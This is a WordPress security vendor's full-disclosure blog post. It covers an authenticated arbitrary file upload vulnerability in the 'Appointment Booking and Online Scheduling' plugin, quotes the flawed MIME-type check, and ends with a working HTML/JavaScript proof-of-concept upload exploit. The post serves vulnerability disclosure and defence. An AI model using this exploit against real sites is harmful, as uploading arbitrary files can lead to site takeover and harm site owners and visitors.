7 Jun 2024

Our Proactive Monitoring Caught an Authenticated Arbitrary File Upload Vulnerability in Appointment Booking and Online Scheduling

One way we help to improve the security of WordPress plugins, not just for customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that, we caught a variant of one of those vulnerabilities, an authenticated arbitrary file upload vulnerability in the plugin Appointment Booking and Online Scheduling.

We now are also running all the plugins used by our customers through that on a weekly basis to provide additional protection for them.

The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.

We tested and confirmed that our firewall plugin for WordPress protected against the type of exploitation of this vulnerability you would see in a mass hack, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.

The vulnerability is partially caused by a lack of even basic security in the plugin, so we would recommend not using the plugin unless the security is overhauled.

Authenticated Arbitrary File Upload

The plugin makes the function vcita_save_settings_callback() in the file /vcita-ajax-function.php accessible to anyone logged in to WordPress through its AJAX functionality:

6
add_action('wp_ajax_vcita_save_settings', 'vcita_save_settings_callback');

That function doesn’t place any further restrictions on who can access it despite it not intended to be accessed by everyone logged in. (It looks like the admin interface related to it is accessible to users it shouldn’t be either.) It also doesn’t check for a valid nonce to prevent cross-site request forgery (CSRF).

Code in the function allows uploading a file to the website. The code tries to limit the types of files that can be uploaded only to image files, but it does it by checking the “type” of the file sent with the request, which is specified through user input, so any type of file can be uploaded by simply specifying the type is one of the permitted ones. That is handled with the following lines of code:

182
183
184
185
186
  if (!isFileImage($_FILES['widget_img']['type'])) {
	$response['error'] = 'Invalid file type must be jpeg, png or gif';
 
	echo json_encode($response);
	wp_die();
175
176
177
    function isFileImage($mimeType)
    {
      return in_array($mimeType, ['image/jpeg', 'image/png', 'image/gif']);

The proof of concept below confirms that anyone logged in to WordPress can exploit the vulnerability.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will upload the file sent with the request to the current month’s media directory in the /wp-content/uploads/ directory, when logged in to WordPress.

Replace “[path to WordPress]” with the location of WordPress.

<head>
<script>
window.addEventListener('load', function () {
 var file = {
 dom : document.getElementById("file"),
 binary : null
 };
 
 var reader = new FileReader();
 
 reader.addEventListener("load", function () {
 file.binary = reader.result;
 });

 if(file.dom.files[0]) {
 reader.readAsBinaryString(file.dom.files[0]);
 }

 file.dom.addEventListener("change", function () {
 if(reader.readyState === FileReader.LOADING)
 reader.abort();
 reader.readAsBinaryString(file.dom.files[0]);
 });

 function sendData() {

 var xmlhttp = new XMLHttpRequest();
 var boundary = "blob";
 var data = "";
 data += "--" + boundary + "\r\n";
 data += 'content-disposition: form-data; '
 + 'name="widget_img"; '
 + 'filename="' + file.dom.files[0].name + '"\r\n';
 data += 'Content-Type: image/png\r\n';
 data += '\r\n';
 data += file.binary + '\r\n';
 data += "--" + boundary + "--";
 xmlhttp.open('POST', 'http://[path to WordPress]/wp-admin/admin-ajax.php?action=vcita_save_settings');
 xmlhttp.setRequestHeader('Content-Type','multipart/form-data; boundary=' + boundary);
 xmlhttp.send(data);
alert('file upload attempted');
 }

 var form = document.getElementById("form");

 form.addEventListener('submit', function (event) {
 sendData();

 });
});
</script>
</head>
<body>
<form id="form">
<input id="file" name="file" type="file">
<button>Submit</button>
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.